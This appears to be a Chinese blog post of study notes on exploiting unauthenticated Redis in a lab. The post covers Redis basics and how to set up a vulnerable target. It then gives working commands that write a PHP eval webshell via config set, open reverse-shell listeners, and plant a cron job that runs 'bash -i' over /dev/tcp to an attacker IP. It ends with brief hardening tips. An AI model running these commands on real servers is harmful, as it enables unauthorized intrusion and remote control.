【Web】Redis未授权访问漏洞学习笔记

目录

简介

靶机配置

Redis持久化

Redis动态修改配置

webshell

反弹shell

Redis写入反弹shell任务

加固方案


简介

Redis(Remote Dictionary Server 远程字典服务器)是一个开源的内存数据库,也被称为数据结构服务器,它支持多种数据结构,如字符串、哈希表、列表、集合、有序集合等。Redis旨在提供一个高性能、持久化的 key-value 存储解决方案,并且具有丰富的功能和灵活的部署方式。

以下是 Redis 的一些主要特点和用途:

  1. 内存存储:Redis将数据存储在内存中,因此具有非常高的读写性能。它通常被用作缓存系统,用来加速对数据库或其他后端存储的访问。

  2. 数据结构丰富:Redis支持多种数据结构,包括字符串、哈希表、列表、集合、有序集合等,这使得它可以适用于各种不同的应用场景。

  3. 持久化:除了存储在内存中,Redis还支持多种持久化方式,如RDB快照和AOF日志,以确保数据不会因服务器重启或故障而丢失。

  4. 发布/订阅:Redis支持发布/订阅模式,允许客户端订阅消息通道并接收特定类型的消息。

  5. 事务:Redis支持事务操作,允许执行一系列命令,保证这些命令要么全部执行,要么全部不执行,从而保持数据的一致性。

  6. 分布式:Redis可以被配置成分布式系统,通过复制和分片来提高可用性和扩展性。

  7. 缓存系统:由于其高性能和丰富的功能,Redis经常被用作缓存系统,用来减轻后端数据库的压力。

靶机配置

1、关闭保护模式 protected-mode

2、取消IP绑定 bind

3、开放6379端口,或者关闭防火墙

4、不需要密码(默认) requirepass

Redis持久化

RDB Redis DataBase (默认)

AOF Append Only File

配置:

1、save 3600 1 #自动触发规则

2、dbfilename dump.rdb #文件名

3、dir ./ #存储路径

手动触发保存命令:save / bgsave

Redis动态修改配置

config set:动态修改配置,重启以后失效

config set dir /www/admin/localhost_80/wwwroot

config set dbfilename redis.php

webshell

复制代码
redis-cli -h 192.168.142.66 -p 6379
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set x "<?php @eval($_POST[wuya]); ?>"
save

反弹shell

攻击机

复制代码
netcat  nc -lvp 7777 (-nlvp lvvp)
msf     msfconsole
        use exploit/multi/handler
        set payload php/meterpreter/reverse_tcp
        set lhost 192.168.142.141
        set lport 7777
        run
socat   socat TCP-LISTEN:7777 -

靶机

Redis写入反弹shell任务

Linux crontab

复制代码
crontab -u root -r 删除某个用户的任务
crontab -u root time.cron 把文件添加到某个用户的任务
crontab -u root -l 列举某个用户的任务
crontab -u root -e 编辑某个用户的任务

cron文件存储路径

复制代码
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly

payload:

复制代码
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

加固方案

1、限制访问IP

2、修改默认端口

3、使用密码访问

4、不要用root运行Redis

相关推荐
前端程序猿之路22 分钟前
模型应用开发的基础工具与原理之Web 框架
前端·python·语言模型·学习方法·web·ai编程·改行学it
Ancelin安心1 小时前
关于代理的一些网络知识复盘
linux·运维·网络·计算机网络·web安全·ubuntu·网络安全
不穿格子的程序员1 小时前
Redis篇9——Redis深度剖析:
数据库·redis·多线程·事务回滚·ap·cp
今晚务必早点睡1 小时前
Redis——快速入门第五课:Redis 常见坑 & 面试高频问题
数据库·redis·面试
理人综艺好会1 小时前
Redis学习之单线程
redis·websocket·学习
重生之我在番茄自学网安拯救世界1 小时前
网络安全中级阶段学习笔记(十一):服务器解析漏洞全解析(原理、利用与防御)
运维·服务器·web安全·网络安全·渗透测试·服务器解析漏洞
重生之我在番茄自学网安拯救世界1 小时前
网络安全中级阶段学习笔记(十二):PHP 文件包含漏洞全解析(原理 + 利用 + 防御 )
笔记·学习·web安全·文件包含漏洞·网安基础
今晚务必早点睡2 小时前
Redis——快速入门第四课:Redis + Spring Boot 实战(从 0 到能用)
spring boot·redis·bootstrap
Knight_AL2 小时前
Redis Lua 脚本为什么天然具备原子性?
数据库·redis·lua
m0_738120722 小时前
渗透测试——靶机DC-5详细渗透getshell过程
网络·安全·web安全·ssh·php